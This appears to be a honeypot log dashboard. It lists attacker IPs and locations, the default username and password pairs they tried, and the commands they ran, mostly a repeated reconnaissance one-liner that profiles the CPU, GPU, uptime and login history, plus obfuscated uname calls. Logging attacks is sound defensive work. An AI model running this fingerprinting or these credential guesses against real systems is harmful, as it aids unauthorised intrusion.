$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 moose_root_8 (147.182.154.67) β€” Toronto, Canada Β· 6 sessions Β· 24 cmds
2026-03-02 06:05 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 spice_root_2 (157.245.107.109) β€” Bengaluru, India Β· 9 sessions Β· 36 cmds
2026-03-02 05:18 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 pretzel_root_19 (134.122.94.93) β€” Frankfurt am Main, Germany Β· 4 sessions Β· 16 cmds
2026-03-02 06:05 EST Β· as root/12345678, root/admin, root/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 star_root_23 (147.182.174.96) β€” North Bergen, United States Β· 2 sessions Β· 8 cmds
2026-03-02 06:08 EST Β· as postgres/postgres, root/qwerty
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 tea_root (46.101.80.169) β€” Slough, United Kingdom Β· 14 sessions Β· 56 cmds
2026-03-02 05:04 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 14x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—14
$ uname -s -v -n -m 2 > /dev/null Γ—14
$ uname -m 2 > /dev/null Γ—14
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—14
🎭 lotus_root_17 (139.59.64.16) β€” Bengaluru, India Β· 5 sessions Β· 20 cmds
2026-03-02 05:09 EST Β· as admin/admin, root/admin, root/admin123
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 gouda_sol_9 (178.128.247.18) β€” Amsterdam, Netherlands Β· 8 sessions Β· 8 cmds
2026-03-01 18:49 EST Β· as sol/sol, solana/solana
Ran uname 8x across 8 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—8
↳ obfuscated system check
🎭 outback_root_6 (170.64.185.103) β€” Sydney, Australia Β· 2 sessions Β· 8 cmds
2026-03-02 05:10 EST Β· as admin/admin, admin/admin123
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 lotus_root_2 (143.110.179.250) β€” Bengaluru, India Β· 10 sessions Β· 40 cmds
2026-03-02 03:55 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 cipher_root_75 (85.11.167.125) β€” Sofia, Bulgaria Β· 1 session Β· 1 cmd
2026-03-02 04:57 EST Β· as root/1234
privilege check
$ whoami
↳ privilege check
🎭 dutch_root_13 (165.232.90.36) β€” Amsterdam, Netherlands Β· 9 sessions Β· 36 cmds
2026-03-02 04:02 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 moose_root_3 (178.128.234.160) β€” Toronto, Canada Β· 12 sessions Β· 48 cmds
2026-03-02 03:57 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 12x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—12
$ uname -s -v -n -m 2 > /dev/null Γ—12
$ uname -m 2 > /dev/null Γ—12
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—12
🎭 stein_root_6 (167.99.245.30) β€” Frankfurt am Main, Germany Β· 10 sessions Β· 40 cmds
2026-03-02 03:02 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 eagle_sol_4 (167.172.229.197) β€” Clifton, United States Β· 16 sessions Β· 16 cmds
2026-03-02 00:40 EST Β· as sol/123456, sol/sol, solana/solana
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—16
↳ obfuscated system check
🎭 specter_root_7 (157.245.159.154) β€” Singapore, Singapore Β· 5 sessions Β· 20 cmds
2026-03-02 02:54 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 beefeater_root_8 (206.189.117.155) β€” Slough, United Kingdom Β· 11 sessions Β· 44 cmds
2026-03-02 03:51 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 11x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—11
$ uname -s -v -n -m 2 > /dev/null Γ—11
$ uname -m 2 > /dev/null Γ—11
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—11
🎭 cowboy_sol_9 (104.236.13.93) β€” Clifton, United States Β· 9 sessions Β· 9 cmds
2026-03-01 16:59 EST Β· as sol/sol, solana/solana, ubuntu/ubuntu
Ran uname 9x across 9 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—9
↳ obfuscated system check
🎭 fog_root_15 (161.35.169.110) β€” Slough, United Kingdom Β· 5 sessions Β· 20 cmds
2026-03-02 03:28 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 monsoon_root_10 (134.209.148.241) β€” Bengaluru, India Β· 3 sessions Β· 12 cmds
2026-03-02 03:32 EST Β· as root/12345678, root/admin, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 bike_root_14 (209.38.46.103) β€” Amsterdam, Netherlands Β· 1 session Β· 4 cmds
2026-03-02 03:34 EST Β· as root/qwerty
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 star_root_24 (159.89.51.92) β€” North Bergen, United States Β· 1 session Β· 4 cmds
2026-03-02 03:28 EST Β· as root/admin
export β†’ uname β†’ cat
